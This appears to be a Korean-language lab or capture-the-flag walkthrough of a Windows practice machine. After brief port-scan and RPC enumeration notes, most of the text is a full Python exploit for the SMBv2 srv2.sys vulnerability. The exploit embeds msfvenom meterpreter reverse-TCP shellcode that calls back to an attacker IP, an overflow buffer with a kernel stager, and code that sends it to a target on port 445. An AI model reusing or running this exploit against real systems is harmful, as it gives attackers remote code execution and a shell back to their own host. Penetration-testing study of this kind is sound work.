13. Internal (WARM UP) - Windows

 

 

 

1. Information Gathering

: port scan

 

135 msrpc

139, 445 > srv2.sys 취약점

 

 

 

---

 

 

2. Exploitation

 

(1) 135

: rpcdump.py

RPC (Remote Procedure Call)의

endpoint를 모두 열거한다.

 

 

실행 중인 프로토콜을 확인해 보면서

구글링을 해보니 의심 가는 서비스 확인이

가능했고

 

취약 여부 확인을 위한 exploit을 돌려보니

 

취약하다고 판정됨

이 부분은 나중에 공략해 보기로 하고

 

 

 

 

(2) 135,445 

관련 exploit을 찾았는데

update가 많이 필요해 손을 보았고

수정한 버전은 다음과 같다.

 

 

exploit.py

import tempfile
import sys
import subprocess
import socket
from time import sleep
from smb.SMBConnection import SMBConnection


#try:
#       target = sys.argv[1]
#except IndexError:
#       print('\nUsage: %s <target ip>\n' % sys.argv[0])
#       print('Example: MS36299.py 192.168.1.1 1\n')
#       sys.exit(-1)
#host = target, 445


#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.233 LPORT=443  EXITFUNC=thread  -f python -v shell

shell =  b""
shell += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64"
shell += b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x0f"
shell += b"\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c"
shell += b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
shell += b"\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
shell += b"\xc0\x57\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20"
shell += b"\x50\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
shell += b"\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38"
shell += b"\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58"
shell += b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shell += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
shell += b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12"
shell += b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
shell += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
shell += b"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
shell += b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x31"
shell += b"\xe9\x68\x02\x00\x01\xbb\x89\xe6\x50\x50\x50\x50"
shell += b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
shell += b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
shell += b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
shell += b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
shell += b"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
shell += b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5"
shell += b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += b"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
shell += b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
shell += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff"
shell += b"\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
shell += b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xe0\x1d\x2a"
shell += b"\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shell += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += b"\x53\xff\xd5"


buff =b"\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+=b"\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+=b"\x17\x02" #high process ID
buff+=b"\x00\xe9\x58\x01\x00\x00"
buff+=b"\x00\x00\x00\x00\x00\x00\x00\x00"
buff+=b"\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+=b"\x04\x0d\xdf\xff"*25
buff+=b"\x00\x02\x53\x4d"
buff+=b"\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+=b"\x00\x00\x00\x00"*37
buff+=b"\xff\xff\xff\xff"*2
buff+=b"\x42\x42\x42\x42"*7
buff+=b"\xb4\xff\xff\x3f" #magic index
buff+=b"\x41\x41\x41\x41"*6
buff+=b"\x09\x0d\xd0\xff" #return address

#stager_sysenter_hook from metasploit

buff+=b"\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+=b"\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+=b"\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+=b"\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+=b"\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+=b"\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+=b"\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+=b"\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+=b"\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+=b"\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+=b"\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+=b"\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+=b"\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+=b"\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+=b"\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+=b"\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+=b"\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+=b"\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+=b"\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+=b"\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+=b"\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+=b"\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+=b"\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+=b"\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+=b"\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+=b"\x61\xc3\x81\xc4\x54\xf2\xff\xff"

buff+=shell

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.233.40", 445))
s.send(buff)
s.close() 
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%("192.168.233.40"), shell=True)

 

 

 

돌려보면

 

끝